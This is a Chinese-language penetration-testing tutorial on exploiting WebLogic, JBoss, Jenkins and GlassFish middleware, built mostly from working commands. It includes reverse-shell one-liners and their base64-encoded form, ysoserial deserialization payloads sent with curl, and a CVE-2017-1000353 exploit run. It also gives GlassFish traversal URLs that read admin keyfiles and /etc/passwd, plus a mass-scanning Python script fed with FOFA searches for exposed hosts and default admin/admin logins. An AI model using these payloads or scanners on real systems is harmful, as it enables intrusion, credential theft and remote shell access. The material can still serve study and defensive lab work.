目录

思维导图

案例一:中间件-Weblogic-工具探测

案例二: 中间件-JBoos-工具脚本直接利用

弱口令

反序列化命令执行漏洞

CVE-2017-12149

CVE-2017-7504

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

远程命令执行漏洞

案例四:中间件-GlassFish-工具脚本利用


思维导图

案例一:中间件-Weblogic-工具探测

weblogic端口:7001

工具地址: GitHub - ghealer/GUI_Tools: 一个由各种图形化渗透工具组成的工具集

靶场环境

启动利用

输入探测是否有漏洞

 有漏洞直接可以命令执行,shell上传

下图所示的都可以用工具一键探测

案例二: 中间件-JBoos-工具脚本直接利用

jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093

弱口令

fofa搜索: "JBoss" && title=="Welcome to JBoss™"

点击welcome to console

账号密码都是admin,admin

可以尝试进入

反序列化命令执行漏洞

CVE-2017-12149

靶场位置: https://vulhub.org/#/environments/jboss/CVE-2017-12149/

 启动docker环境

首先先把反弹shell的语句进行base64位编码

bash -i >& /dev/tcp/192.168.172.132/5566 0>&1

序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

利用poc进行curl请求/invoker/readonly该地址为进行反序列化的地址,同时kali开启监听

curl http://192.168.172.169:8080/invoker/readonly --data-binary @poc.ser

运行

CVE-2017-7504

靶场环境:https://vulhub.org/#/environments/jboss/CVE-2017-7504/

与CVE-2017-12149命令都一样只是,反序列化请求的地址不同,可以利用同一个poc

该漏洞请求的地址为 /jbossmq-httpil/HTTPServerILServlet,访问该页面存在证明有漏洞

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

脚本利用地址:GitHub - vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC

该脚本必须使用java"1.8.0_291"才可以正常使用

首先先执行在/tmp下创建一个success文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

然后用python脚本执行该poc

python exploit.py http://192.168.172.169:8080 jenkins_poc.ser

 进入docker中查看

这里尝试直接利用下面的语句getshell失败,个人猜测,可能是命令太长,各种符号转义了

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.172.132/5566 0>&1"

使用如下命令

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

这段命令是一个 Bash 命令,它执行以下步骤:

  1. echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx

    • echo:将字符串打印到标准输出。
    • 字符串:"bash -i > /dev/tcp/192.168.172.132/5566 0>&1",这是一个 Base64 编码的字符串。
  2. base64,-d

    • base64,-d:对上一步中的字符串进行 Base64 解码。
  3. bash,-i

    • bash,-i:使用 -i 选项启动一个交互式 Bash shell。

因此,整个命令的功能是:

  1. 解码 Base64 编码的字符串,得到一个 Bash 命令:bash -i > /dev/tcp/192.168.172.132/5566 0>&1
  2. 执行这个 Bash 命令,该命令将打开一个到远程主机的反向 shell 连接(使用 TCP 端口 5566),并使 shell 的输入和输出重定向到该连接。

运行结果

远程命令执行漏洞

靶场环境: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

脚本地址:https://github.com/smokeintheshell/CVE-2018-1000861

首先利用该脚本可以直接执行系统命令

直接利用反弹shell的语句,还是失败,猜测转义导致

bash -i >& /dev/tcp/192.168.172.169/5566 0>&1

利用刚才的语句

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

成功

案例四:中间件-GlassFish-工具脚本利用

靶场位置

利用语句

读取网站账号密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

读取linux passwd:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

读取windows_ini: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

访问靶场主页面,需要账号密码

直接查看账号密码

查看/etc/passwd

下面是一个python开发的自动化检测是否有直接读取密码,读取linux passwd,Windows ini的脚本

import requests,time

def read_pass(url):
    urls = 'http://'+url+'/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile'
    try:
        result = requests.get(urls,verify=False).text
        #print(result)
        if 'asadmin' in result:
            print('read_pass:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_windows(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_windows:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_linux(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_linux:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)


if __name__ == '__main__':
    for url in open("ips.txt"):
        read_pass(url)
        read_windows(url)
        read_linux(url)

fofa搜索:"glassfish" && port="4848" && protocol="http"

利用fofaviewer保存ip到ips.txt利用

运行结果如图,不方便展示。

Logo

一起探索未来云端世界的核心,云原生技术专区带您领略创新、高效和可扩展的云计算解决方案,引领您在数字化时代的成功之路。

更多推荐